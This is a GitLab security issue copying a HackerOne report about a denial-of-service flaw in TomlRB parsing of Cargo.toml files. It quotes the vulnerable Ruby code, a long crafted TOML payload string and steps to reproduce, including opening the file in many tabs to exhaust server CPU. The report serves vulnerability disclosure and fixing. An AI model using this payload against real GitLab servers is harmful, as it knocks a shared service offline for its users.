Server Denial-Of-Service through uncontrolled resource consumption when viewing a maliciously crafted cargo.toml file.
:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/developer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.** **[HackerOne report #2648665](https://hackerone.com/reports/2648665)** by `l33thaxor` on 2024-08-09, assigned to @kmorrison1: [Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce) ## Report ##### Summary The bug exists in `lib/gitlab/dependency_linker/cargo_toml_linker.rb` when parsing the `cargo.toml` file. The bug is in the `TomlRB` ruby library, not actually in the gitlab code itself. Here: ``` def toml [@]toml ||= begin TomlRB.parse(plain_text) rescue StandardError nil end end ``` an attacker can supply a malicious (invalid) TOML string such as this: ``` data = ")'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)' ``` to cause denial of service. (This bug was originally found by fuzzing. I have attached the original hanging input with the `crash-` prefix and a minimized version as `cargo.toml` in the zip file. I have also attached a screen recording which shows the bug on my local machine.) This bug stems from poor time complexity when parsing TOML in the `TomlRB` library, so any component of gitlab (and computer program in general) which uses `TomlRB.parse` on attacker controlled input is vulnerable. An attacker can of course open the same `cargo.toml` on multiple tabs to consume more CPU cores and bring the server to an unresponsive state. There doesn't appear to be an application limit, which could be tuned to prevent this DOS. ##### Steps to reproduce The reproduction steps are basically identical to the ones at https://gitlab.com/gitlab-org/gitlab/-/issues/431924 , except just use the hanging input file attached to this report instead of the input proposed in that report. The user must of course have privileges to push this maliciously crafted `cargo.toml` file to the vulnerable server. So just: 1. Create a new project or open an existing one. 2. Push the malicious `cargo.toml` file to the repository. 3. Open the file in the gitlab web app. 4. Observe uncontrolled resource consumption. ##### Impact Uncontrolled resource consumption which causes Denial-Of-Service on the backend. ##### Examples This bug should affect every instance of gitlab. I used gitlab version `v16.2.10-ee` but having looked through the code, this should work for the newest version of gitlab. ##### What is the current *bug* behavior? The webpage hangs consuming one CPU core when trying to load the malicious TOML file. ##### What is the expected *correct* behavior? Instead of hanging, the web server should just display the contents and not hang. ##### Relevant logs and/or screenshots ##### Output of checks ###### Results of GitLab environment info ``` System information System: Linuxmint 21 Proxy: no Current User: git Using RVM: no Ruby Version: 3.0.6p216 Gem Version: 3.4.14 Bundler Version:2.4.16 Rake Version: 13.0.6 Redis Version: 7.0.12 Sidekiq Version:6.5.7 Go Version: go1.18.1 linux/amd64 GitLab information Version: 16.2.10-ee Revision: b20b986eed4 Directory: /opt/gitlab/embedded/service/gitlab-rails DB Adapter: PostgreSQL DB Version: 13.11 URL: http://localhost HTTP Clone URL: http://localhost/some-group/some-project.git SSH Clone URL: git@localhost:some-group/some-project.git Elasticsearch: no Geo: no Using LDAP: no Using Omniauth: yes Omniauth Providers: GitLab Shell Version: 14.23.0 Repository storages: - default: unix:/var/opt/gitlab/gitaly/gitaly.socket GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell ``` #### Impact Denial-Of-Service on all gitlab instances along with uncontrolled resource consumption. ## Attachments **Warning:** Attachments received through HackerOne, please exercise caution! * [demo_files.zip](https://h1.sec.gitlab.net/a/ecf91948-b2d5-413c-95a5-a611ed80b50b/demo_files.zip) * [recording-1723199580785.webm](https://h1.sec.gitlab.net/a/42adef20-730a-471b-969f-de3e6cafa11f/recording-1723199580785.webm) ## How To Reproduce Please add [reproducibility information] to this section: 1. 1. 1. [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue